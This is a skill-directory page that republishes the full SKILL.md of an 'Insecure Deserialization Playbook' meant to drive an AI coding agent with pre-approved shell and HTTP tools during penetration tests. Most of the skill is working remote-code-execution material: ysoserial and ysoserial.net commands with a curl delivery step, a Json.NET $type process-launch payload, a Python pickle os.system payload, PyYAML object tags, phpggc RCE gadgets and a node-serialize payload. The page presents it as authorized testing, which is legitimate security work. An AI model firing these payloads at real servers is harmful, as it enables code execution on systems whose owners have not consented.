Agent skill

Insecure Deserialization Playbook

by PentesterFlow in PentesterFlow/agent

Fingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization.

Apache-2.0Auto-check passedSecurity

Install Insecure Deserialization Playbook

skills CLI
$ npx skills add PentesterFlow/agent --skill deserialize -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install PentesterFlow/agent deserialize --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/PentesterFlow/agent.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/deserialize .claude/skills/deserialize && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
deserialize
GitHub stars
1.4k
Token cost
~1.7k tokens
SKILL.md length
591 words
Files
1
Skills in repo
5
Repo updated
First seen
Licence
Apache-2.0

At a glance

Fingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization.

  • Works in 7 steps: Fingerprint the format → Java → .NET BinaryFormatter / Json.NET with… → …
  • Testing a cookie or parameter that appears to carry a serialized object
  • SKILL.md covers 1. Fingerprint the format, 2. Java, 3. .NET BinaryFormatter /… and 4. Python pickle, plus 4 more sections
  • Calls java and curl

What it does

Given a suspicious serialized blob or a parameter or cookie that looks deserialized, this skill starts by fingerprinting its format from magic bytes and markers - an `rO0` prefix for Java, an `AAEAAAD/////` prefix for .NET BinaryFormatter, a `__VIEWSTATE` field for ASP.NET Web Forms, `gASV`, `gAR` or `gAP` prefixes for Python pickle, `O:` for PHP serialize, Node's node-serialize IIFE pattern, or `!!` type tags in YAML.

Once the format is known it walks through building a gadget chain for that ecosystem: ysoserial chains such as CommonsCollections1 through 7, Spring1 or Spring2, or JRMPClient for Java; a URLDNS chain first to confirm the bug exists via a DNS callback before attempting code execution; ysoserial.net for .NET and ASP.NET ViewState when the view state is unprotected or its MAC key is weak; and the matching tools for PHP, Python and Node payloads.

It insists on using real captured parameters, cookies, keys and callback hosts rather than placeholder values, and asks once if something like a key or sample blob is missing instead of guessing.

When your agent uses it

  • Testing a cookie or parameter that appears to carry a serialized object
  • Confirming insecure deserialization with a DNS callback before trying RCE
  • Building a ysoserial or ysoserial.net gadget chain for a target

Example prompts

  • “This cookie starts with rO0 - help me check if it's exploitable.”
  • “Build a ysoserial.net ViewState payload for this ASP.NET target.”
  • “Confirm whether this endpoint deserializes untrusted PHP objects.”

Requirements

  • ysoserial, ysoserial.net or phpggc for payload generation
  • A captured sample of the serialized data
  • Pre-approved tools (allowed-tools): http, shell, read_payloads, file_write

Workflow steps

7 steps, taken from the step headings in SKILL.md.

  1. Fingerprint the format
  2. Java
  3. .NET BinaryFormatter / Json.NET with TypeNameHandling
  4. Python pickle
  5. PHP unserialize
  6. Node — node-serialize
  7. Confirming impact

What it can do on your machine

Read from SKILL.md and the folder at commit 0759d87. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves these tools, so the agent can use them without asking each time:

    • http
    • shell
    • read_payloads
    • file_write

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Shell commands in SKILL.md call:

    • java
    • curl

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Links to these hosts (documentation or services it may open):

    • github.com

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Insecure Deserialization Playbook loads about 1.7k tokens when it runs. Until then it costs about 101 tokens; SKILL.md has 591 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~101
When it runs · the whole SKILL.md, loaded when a task matches
~1.7k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from PentesterFlow/agent at commit 0759d87, republished under its Apache-2.0 licence (© PentesterFlow). 591 words, ~1,652 tokens.

Download SKILL.mdSave it as .claude/skills/deserialize/SKILL.md (or your agent's skills folder).
name
deserialize
description
Insecure-deserialization playbook — fingerprint the language/format (Java serialized, .NET BinaryFormatter, Python pickle, PHP unserialize, Node serialize, YAML/JSON-with-types), then build a working gadget chain with ysoserial / ysoserial.net / phpggc / custom pickle. Use when you see serialized blobs (rO0/AC ED, base64 ViewState, PHP O:) or a parameter/cookie that deserializes user input.
allowed-tools
http, shell, read_payloads, file_write

Insecure deserialization playbook

You suspect a server is deserializing attacker-influenced data. RCE is on the table — but only if you ship the right gadget chain.

Execution rule: use real captured parameters, cookies, keys, and callback hosts before running commands. Never write literal placeholders such as <KEY> or <endpoint> to files; if key material or a sample blob is missing, ask once.

1. Fingerprint the format

MagicFormat
rO0 (base64 of \xac\xed)Java serialized
\xac\xed\x00\x05 (raw)Java serialized
AAEAAAD///// (base64) or \x00\x01\x00\x00\x00\xff\xff\xff\xff.NET BinaryFormatter
__viewstate / __VIEWSTATE cookie or form fieldASP.NET ViewState (often LosFormatter/BinaryFormatter underneath)
gASV (base64 of \x80\x05\x95), gAR, gAP (\x80\x04, \x80\x03)Python pickle
O: (e.g. O:8:"stdClass":0:{})PHP serialize
_$$ND_FUNC$$_ / IIFE patternsNode node-serialize
!! tags inside YAML / !!python/objectYAML with type resolution (PyYAML, SnakeYAML)
BSON / BinDataMongoDB BSON — deserialization paths usually safe; check anyway

Source of the data matters: cookie, form field, file upload, query param, message queue, RPC framing.

2. Java

Default gadget toolkit: ysoserial (https://github.com/frohoff/ysoserial).

sh
# Generate a payload using the CommonsCollections1 chain to run `id`
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin

# Test it
curl -X POST https://target/api/deserialize --data-binary @payload.bin -H "Content-Type: application/octet-stream"

Chains worth iterating through (depends on classpath):

  • CommonsCollections1..7 — Apache Commons Collections.
  • Spring1, Spring2.
  • JRMPClient / JRMPListener — when the only thing that deserializes is a JRMP endpoint; chain with a hosted JRMP listener.
  • URLDNS — leak-only; useful as a confirm primitive (DNS hit proves deserialization happens).

Confirm-first workflow: start with URLDNS against a DNS canary. If you see the DNS hit, you have insecure deserialization. Then try RCE chains.

ViewState (.NET, ASP.NET Web Forms)

If __VIEWSTATE is not MAC-protected, or the MAC key is leaked / weak / default, use ysoserial.net:

sh
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "calc" \
  --path="/Default.aspx" --apppath="/" \
  --validationkey="<KEY>" --validationalg="HMACSHA256"

Confirming whether MAC is enforced: send __VIEWSTATE=AAEAAAD/////AQAAAAA= (a truncated stub). A ViewState MAC validation failed exception means MAC is on; a clean 500 deserialization stack trace means it's likely off.

3. .NET BinaryFormatter / Json.NET with TypeNameHandling

If you see Json.NET with TypeNameHandling = Auto/Objects/All, you can put $type in the payload:

json
{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList, mscorlib","$values":["cmd","/c calc"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}

Toolkit: ysoserial.net (https://github.com/pwntester/ysoserial.net) — covers BinaryFormatter, ObjectStateFormatter, NetDataContractSerializer, etc.

4. Python pickle

If you can submit raw pickled bytes (cookie, form, file upload, message queue payload), RCE is trivial:

python
import pickle, os, base64
class E:
    def __reduce__(self):
        return (os.system, ('id > /tmp/proof',))
print(base64.b64encode(pickle.dumps(E())).decode())

Then submit base64 (or raw bytes, depending on transport).

Variants:

  • __reduce_ex__ instead of __reduce__ when targeting specific protocols.
  • pickle.loads on protocol-5 with out-of-band buffers — different surface.
Show full SKILL.md (244 more words)Show less
PyYAML
yaml
!!python/object/apply:os.system ["id"]

Or:

yaml
!!python/object/new:os.system ["id"]

Modern PyYAML defaults to SafeLoader — only yaml.load() (no Loader arg) on old versions is vulnerable, but plenty of code still uses yaml.load(...) explicitly.

5. PHP unserialize

If user input lands in unserialize(), look for POP (Property-Oriented Programming) chains: existing classes in the codebase with __wakeup / __destruct / __toString magic methods that can be chained.

Toolkit: phpggc (https://github.com/ambionics/phpggc).

sh
phpggc -b Symfony/RCE4 system 'id'   # base64-encoded gadget for Symfony 4
phpggc Laravel/RCE6 system 'id'
phpggc Drupal7/FW1 phpinfo

Variants worth trying:

  • O:8:"stdClass":0:{} — confirms unserialize() works at all (no exception).
  • Phar deserialization: triggered by file_exists("phar://...") etc., not direct unserialize input. Look for Phar, file_exists, is_file with attacker-controlled paths.

6. Node — node-serialize

The npm node-serialize package's unserialize() accepts function strings prefixed with _$$ND_FUNC$$_ and evals them:

javascript
{"rce":"_$$ND_FUNC$$_function(){require('child_process').execSync('id');}()"}

This is a one-shot — modern code rarely uses it.

7. Confirming impact

Pickle / yysoserial / phpggc all support a DNS or HTTP callback gadget (e.g. URLDNS for Java, simple system("curl ...") for the others). Use those to confirm deserialization happens before firing real exec — easier to attribute, smaller blast radius.

Once confirmed, the exec PoC should:

  • Run id and capture stdout, OR
  • Read a non-sensitive file (/etc/hostname) and surface its content.

Don't drop a reverse shell on a real engagement without explicit written authorization.

Reporting

Required:

  • Format identified (Java serialized / pickle / etc.) with the magic-byte evidence.
  • The exact endpoint + parameter / cookie that ingests it.
  • A working gadget payload (base64'd if binary), and command run to generate it.
  • Output of id (or equivalent proof) and the matching server response.
  • Note any preconditions that limit exploitability (specific classpath, key disclosure required, etc.) — affects severity.

© PentesterFlow, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/deserialize of PentesterFlow/agent.

Open the folder on GitHubat commit 0759d87

Compare with similar skills

Insecure Deserialization Playbook next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Insecure Deserialization Playbook compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Insecure Deserialization Playbook this skillPentesterFlow/agent1.4k—~1.7kAutomated safety check: PassApache-2.0
Deserialization TestingNeoTheCapt/RedteamAgent140—~836Automated safety check: PassNone
Code Audit3stoneBrother/code-audit8931 repos~2.7kAutomated safety check: PassNone
Security Reviewgithub/awesome-copilot40k1 repos~2.3kAutomated safety check: NotesMIT
Xslt Injectionlangbyyi/CyberStrikeAI-SRC1331 repos~3kAutomated safety check: PassApache-2.0
Hunt DeserializationEncod3d-Sec/TORCH329—~1.7kAutomated safety check: PassMIT

Similar skills

  • Deserialization Testing

    NeoTheCapt/RedteamAgent

    Insecure deserialization detection and gadget chain exploitation

    140 GitHub stars~836 tokensUpdated 2 mo ago
    SecurityAuto-check passed
  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    893 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed
  • Security Review

    github/awesome-copilot

    Official

    AI-powered codebase security scanner that reasons about code like a security researcher — tracing data flows, understanding component interactions, and catching vulnerabilities that pattern-matching…

    40k GitHub starsUsed in 1 repo~2.3k tokens
    SecurityAuto-check: notes
  • Xslt Injection

    langbyyi/CyberStrikeAI-SRC

    XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces.

    133 GitHub starsUsed in 1 repo~3k tokens
    SecurityAuto-check passed
  • Hunt Deserialization

    Encod3d-Sec/TORCH

    Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node.

    329 GitHub stars~1.7k tokensUpdated 1 mo ago
    SecurityAuto-check passed
  • Dt Obs Services

    Dynatrace/dynatrace-for-ai

    Service performance monitoring with RED metrics (Rate, Errors, Duration) and runtime-specific telemetry for Java, .NET, Node.js, Python, PHP, and Go.

    161 GitHub stars~3.3k tokensUpdated 6 days ago
    DevOps & CloudAuto-check passed

More from PentesterFlow/agent

  • External Recon Playbook

    PentesterFlow/agent

    Maps the attack surface of a web domain you are authorized to test: confirms scope, lists subdomains from public sources, probes live hosts and fingerprints technology.

    1.4k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed
  • Ssti

    PentesterFlow/agent

    Server-Side Template Injection — fingerprint the engine first (Jinja2 / Twig / Velocity / Freemarker / ERB / Smarty / Mako / Handlebars / Pug), then escalate the engine-specific primitive to RCE or…

    1.4k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed
  • Takeover

    PentesterFlow/agent

    Subdomain takeover playbook — sweep subdomains for dangling CNAMEs / NS records pointing at unclaimed third-party resources (GitHub Pages, S3, Heroku, Azure, Netlify, Shopify, ...), confirm with the…

    1.4k GitHub stars~3.3k tokensUpdated 1 mo ago
    Auto-check passed
  • Webvuln

    PentesterFlow/agent

    Web vulnerability hunting playbook. An agent skill from PentesterFlow/agent.

    1.4k GitHub stars~1.2k tokensUpdated 1 mo ago
    Auto-check passed

Categories

Questions about Insecure Deserialization Playbook

What does Insecure Deserialization Playbook do?

Fingerprints which language or framework produced a serialized blob, then helps build a working gadget chain to test for insecure deserialization. ` type tags in YAML.

When should I use Insecure Deserialization Playbook?

Insecure Deserialization Playbook fits situations like: testing a cookie or parameter that appears to carry a serialized object; confirming insecure deserialization with a DNS callback before trying RCE; building a ysoserial or ysoserial.net gadget chain for a target.

How do I install Insecure Deserialization Playbook in Claude Code?

Run `npx skills add PentesterFlow/agent --skill deserialize -a claude-code`. Or copy the skill folder (skills/deserialize in PentesterFlow/agent) into .claude/skills/deserialize in your project. Claude Code loads it when a task matches its description.

How do I install Insecure Deserialization Playbook in Codex?

Run `npx skills add PentesterFlow/agent --skill deserialize -a codex`. Or copy the skill folder (skills/deserialize in PentesterFlow/agent) into .agents/skills/deserialize in your project. Codex loads it when a task matches its description.

Can I use Insecure Deserialization Playbook in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add PentesterFlow/agent --skill deserialize -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/deserialize, .gemini/skills/deserialize, .github/skills/deserialize and .opencode/skills/deserialize in your project.

What does Insecure Deserialization Playbook need to run?

Going by SKILL.md and its folder, Insecure Deserialization Playbook needs the command-line tools its instructions call (java and curl). Our summary lists: ysoserial, ysoserial.net or phpggc for payload generation; A captured sample of the serialized data. Its frontmatter pre-approves these tools: http, shell, read_payloads, file_write.

Does Insecure Deserialization Playbook access the network?

SKILL.md names 1 domain. As links in the text: github.com. This is read from the text; nothing was executed.

Is Insecure Deserialization Playbook safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does Insecure Deserialization Playbook use?

Insecure Deserialization Playbook is published under the Apache-2.0 licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Insecure Deserialization Playbook use?

About 1.7k tokens (SKILL.md is roughly 6.6k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Insecure Deserialization Playbook?

Skills that share tags, products or a category with Insecure Deserialization Playbook: Deserialization Testing (NeoTheCapt/RedteamAgent, 140 stars), Code Audit (3stoneBrother/code-audit, 893 stars), Security Review (github/awesome-copilot, 40k stars) and Xslt Injection (langbyyi/CyberStrikeAI-SRC, 133 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Insecure Deserialization Playbook?

PentesterFlow (a GitHub user) maintains it in PentesterFlow/agent, which has 1,389 GitHub stars. The repository holds 5 skills in this directory. The repository was last updated on August 31, 2026.

Source: PentesterFlow/agent on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.